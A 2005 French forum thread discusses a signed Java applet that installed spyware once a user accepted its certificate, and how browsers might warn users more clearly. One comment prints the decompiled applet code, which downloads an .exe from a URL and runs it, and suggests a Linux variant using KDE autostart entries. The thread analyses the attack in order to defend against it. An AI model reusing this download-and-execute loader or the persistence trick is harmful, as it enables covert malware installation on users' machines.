Journal Java pour installer des spywares ?

Posté par  .
Étiquettes :
0
27
mar.
2005
http://www.futura-sciences.com/sinformer/n/news5816.php(...)

«Témoin la mésaventure vécue par Christopher Boyd, du blog Vitalsecurity.org. En recherchant les paroles de chansons sur un site spécialisé, avec Firefox s'il vous plaît, il se retrouve face à une fenêtre lui demandant s'il accepte de "faire confiance à l'applet signée par Integrated Search Technology".

Bien sûr, c'est là que n'importe quel internaute un peu expérimenté aurait répondu "non" et l'affaire en serait restée là. Mais de nature curieuse, Christopher Boyd a accepté. Il s'est alors immédiatement retrouvé avec une multitude de téléchargements automatiques tandis qu'une volée de modifications étaient apportées à la base de registres de Windows et qu'Internet Explorer démarrait tout seul, après avoir reçu la bénédiction d'une bonne demi-douzaine de spywares.
»

Commentaire en anglais;
http://www.vitalsecurity.org/2005/03/false-claims-of-firefox-spywar(...)
  • # sceptique

    Posté par  (site web personnel) . Évalué à 5.

    Il me semblait que java en version navigateur ne disposait pas de fonctions permettant d'acceder aux fichier ...
    On m'aurait menti ?
    • [^] # Re: sceptique

      Posté par  (site web personnel) . Évalué à 2.

      ben il me semblait que l'applet ne pouvait faire que très peu de chose aussi, ça me semble fumeux cette histoire.... Que ça télécharge oui, que ça puisse faire plus, je doute franchement...
    • [^] # Re: sceptique

      Posté par  . Évalué à 7.

      C'est bien le sens de ma question, je ne pensais pas cela possible.

      J'ai retrouvé l'original:
      http://www.vitalsecurity.org/2005/03/firefox-spyware-infects-ie.htm(...)
      • [^] # Re: sceptique

        Posté par  . Évalué à 8.

        bien sur que c'est possible mais il faut que l'applet soit signée et c'était le cas justement, mais dans ce cas l'utilisateur doit "valider" l'applet.

        Rien de nouveau quoi.
    • [^] # Re: sceptique

      Posté par  (site web personnel) . Évalué à 9.

      ce n'est possible que si tu approuve un certificat de securité donnant droit à la JVM d'acceder au systeme.
    • [^] # Re: sceptique

      Posté par  (site web personnel) . Évalué à 2.

      faire confiance à l'applet signée par Integrated Search Technology

      Une applet signée, contrairement aux applets non signées qui n'ont que le droit de se connecter au serveur web où elle trouvent, a tous les droits, y compris de de lire/ecrire/exécuter des fichiers sur le système de fichier local.

      C'est d'ailleurs pour cette raison que quand une applet signée est exécuté dans le navigateur, un popup apparait, indiquant qu'elle est signée, affichant le nom du signataire avec son certificat.
      • [^] # Re: sceptique

        Posté par  . Évalué à 2.

        En fait, elles n'ont pas *tous* les droits, seulement ceux qu'on veut bien leur donner. On peut en effet donner des droits particuliers à chaque application ou applet Java (c'est le modèle de sécurité de Java 2, donc depuis 1.2).
        Le problème, c'est que, par défaut, tous les droits sont donnés.
        Sans compter qu'il n'est pas très facile de modifier ces droits (policytool ou éditer le fichier à la main).

        Voilà. Juste pour dire que c'est pas simple.
        • [^] # Re: sceptique

          Posté par  (site web personnel) . Évalué à 2.

          Oui, bien sûr j'ai simplifié le problème. Je ne connais d'ailleurs personne qui a une fichier .java.policy dans son répertoire perso ou qui a modifié la politique de sécurité. En fait, parmi les développeurs java, à part ceux spécialisés dans la sécurité, j'en connais peu qui connaissent les détails du modèle de sécurité ; sans doute une conséquence de la faible attractivité des applets face aux applications.
  • # ils se sont shootés à quoi ?

    Posté par  . Évalué à -1.

    J'aime ce genre de blagues...
    l'applet => Java, tout le monde est d'accord
    une volée de modifications étaient apportées à la base de registres de Windows => Java ne peut pas... À moins qu'il ne s'agisse de la machine Java de MS ?
    • [^] # Re: ils se sont shootés à quoi ?

      Posté par  (site web personnel) . Évalué à 4.

      Euh, je ne comprends pas trop là. L'applet est signée, l'utilisateur accepte de la lancer, donc rien ne l'empèche de télécharger un morceau de code natif (disons une dll) pour faire appel à l'API Win32 et modifier la base de registre. JNI permet de faire ça, et ça marche je l'ai déjà fait.
  • # Explications

    Posté par  (site web personnel) . Évalué à 10.

    En suivant les liens, on tombe sur des trucs intéressants qui expliquent la chose. D'abord, le code source Java qui est à l'origine du mal :

    private void jbInit() throws Exception
    {
        File file = File.createTempFile(app, ".exe");
        ByteArrayOutputStream bytearrayoutputstream = downloadFile(url);
        if (bytearrayoutputstream == null)
            throw new IOException("downloading was failed");
        String s = saveFile(bytearrayoutputstream, file);
        bytearrayoutputstream.close();
        String s1 = "";
        if (account_id != null && account_id.length() > 0)
            s1 = s1 + " /aid:" + account_id;
        if (download_key != null && download_key.length() > 0)
            s1 = s1 + " /key:" + download_key;
        if (download_lock != null && download_lock.length() > 0)
            s1 = s1 + " /lock:" + download_lock;
        if (cfg != null && cfg.length() > 0)
            s1 = s1 + " /cfg:" + cfg;
        if (sub != null && sub.length() > 0)
            s1 = s1 + " /sub:" + sub;
        Runtime.getRuntime().exec(file.getAbsolutePath() + s1);
    }

    Traduit en français :

    * Créé un fichier temporaire dont le nom finit par ".exe"
    * Mets-y les octets que l'on trouve dans "url" (donc, télécharge un exe à partir du site)
    * Selon différentes valeurs trouvées dans l'environnement et les paramètres, créé les arguments appropriés pour le programme (identifiant du compte de l'utilisateur, etc.)
    * Exécute le fichier temporaire

    C'est l'exécutable téléchargé qui fout ensuite le boxon sur la machine. Cet exécutable n'a rien à voir avec Java ou Firefox (ou Opéra ou quoi que ce soit). Le fait qu'il puisse foutre le boxon sur la machine a tout à voir avec Windows. (On pourrait imaginer d'ailleurs une version Linux qui explose le répertoire personnel de l'utilisateur, ça marcherait très bien. Ou pour être plus discret, qui ajoute des entrées dans $HOME/.kde/Autostart/ et dans $HOME/.kde/shutdown/.)

    Mais revenons à notre problème initial : comment Java a-t-il pu créer et puis lancer cet exécutable ? Où est le célèbre bac à sable qui fait la sécurité des applets ? Et bien, par défaut, il est là, bien sûr, et il interdit l'exécution des méthodes createTempFile() et exec(). Y'a qu'à voir le résultat dans la console Java d'Opéra :

    java.lang.SecurityException: Unable to create temporary file
      at java.io.File.checkAndCreate(Unknown Source)
      at java.io.File.createTempFile(Unknown Source)
      at java.io.File.createTempFile(Unknown Source)
      at InstallerApplet.jbInit(InstallerApplet.java:73)
      at InstallerApplet.init(InstallerApplet.java:65)
      at sun.applet.AppletPanel.run(Unknown Source)
      at java.lang.Thread.run(Unknown Source)

    Par contre, comme le navigateur est poli, il demande à l'utilisateur l'autorisation d'exécuter ces méthodes. À ce niveau, la boîte de dialogue d'Opéra est beaucoup plus claire que celle de Firefox :

    Opéra (demande plus de privilèges)
    http://people.opera.com/rijk/tmp/java-warning.png(...)

    Firefox (demande habituelle de faire confiance)
    http://people.opera.com/rijk/tmp/java-warning-ff.png(...)
    (note : la boîte serait plus anodine si le certificat était valide)

    Mais dans les deux cas, on sait bien que beaucoup d'utilisateurs vont cliquer « Oui », car la principale faille de sécurité reste située entre la chaise et le clavier.

    Possibilités d'amélioration pour les navigateurs : boîtes de dialogue encore plus claires (notamment pour Firefox), voire même blocage silencieux de certaines actions Java.

    Sources :

    Réponses à l'article dans le blog (très mal titré d'ailleurs)
    http://www.vitalsecurity.org/2005/03/firefox-spyware-infects-ie.htm(...)

    Fil de discussion chez Opéra
    http://my.opera.com/forums/showthread.php?s=512c7fd1aabfb0005ffc002(...)
    • [^] # Re: Explications

      Posté par  . Évalué à 8.


      Mais dans les deux cas, on sait bien que beaucoup d'utilisateurs vont cliquer « Oui », car la principale faille de sécurité reste située entre la chaise et le clavier.


      C'est trop vrai :(
      En faite, il devrait poser la question différament du style:
      Attention! Danger!
      Voulez vous que votre navigateur vous protége ?
      OUI non
      • [^] # Re: Explications

        Posté par  . Évalué à 10.

        Plus efficace serait de ne pas poser la question.
        Juste un petit bandeau informatif:
        Firefox a empéché une applet d'acquérir les droits et l'a bloqué. Pour modifier les options de ce site cliquez ici.
        • [^] # Re: Explications

          Posté par  . Évalué à 2.

          Pendant un moment, galeon refusait tout simplement les applets signées non certifiées.
          Pas très pratique pour le développement mais efficace.
  • # Rien de nouveau...

    Posté par  . Évalué à 9.

    Bah absolument rien de nouveau...
    Un type permet a une applet de s'executer avec accès à la machine hôte... Ca mérite même pas un article sur futura ca mérite juste qu'il suive une formation pour arreter de faire n'importe quoi :p
    A quand un article sur "Un site web demande aux utilisateurs de télécharger puis d'installer eux-même des spywares et certains le font." :)
    • [^] # Si, une chose

      Posté par  (site web personnel) . Évalué à 5.

      On a quand même appris que la boîte de dialogue d'Opera est plus claire que celle de Firefox sur les conséquences d'un « oui », et qu'il faudrait améliorer ce dernier.

      Firefox émet un premier avertissement concernant les problèmes du certificat utilisé. L'utilisateur expérimenté passe son chemin, mais si quelqu'un choisit de faire confiance à l'applet, il devrait ensuite avoir un avertissement lorsque celle-ci tente de sortir du bac à sable, une boîte de dialogue du genre « ce programme tente d'écrire sur votre disque dur, voulez-vous l'autoriser à le faire ? » (avec pause de quelques secondes avant que les boutons ne s'activent). Bien sûr, il restera des gens pour cliquer « oui », mais bon nombre d'utilisateurs qui ne comprennent rien aux certificats et trucs compliqués sera plus réceptif à une tentative d'écriture sur le disque (après tout, on leur a bien expliqué que les cookies étaient stockés sur le disque dur, et que c'était mal...).

      On pourrait aussi décider d'interdire complètement les exec(), une interdiction paramétrable dans la configuration du navigateur, tout comme on interdit actuellement à JavaScript d'ouvrir une fenêtre...

      Enfin bref, pour l'essentiel, un problème pour les experts d'interface homme-machine et d'interface chaise-clavier.
      • [^] # Re: Si, une chose

        Posté par  . Évalué à 2.

        Je dirais même que la boite de Mozilla ou Firefox est très mal faite, puisqu'elle parle juste de faire confiance (applet signée donc).

        En aucun cas il est fait mention d'une quelconque demande de prvilèges supplémentaires !
    • [^] # Re: Rien de nouveau...

      Posté par  . Évalué à 4.

      A quand un article sur "Un site web demande aux utilisateurs de télécharger puis d'installer eux-même des spywares et certains le font." :)

      Tiens, c'est en gros ce qu'a fait ZDnet avec le "virus" Opener pour MacOS X :
      http://www.zdnet.fr/actualites/telecoms/0,39040748,39179632,00.htm(...)

      Extrait de l'article :
      [...]il ne se diffuse pas comme les virus classiques via la messagerie électronique. Il faut qu'une personne l'inocule directement sur une machine en le copiant dans le répertoire de démarrage.

      Détournement de définition en somme, qui leur a permis d'offir un super titre tape à l'oeil à leur article :
      Mac OS X touché par le virus Opener

      :o)

Suivre le flux des commentaires

Note : les commentaires appartiennent à celles et ceux qui les ont postés. Nous n’en sommes pas responsables.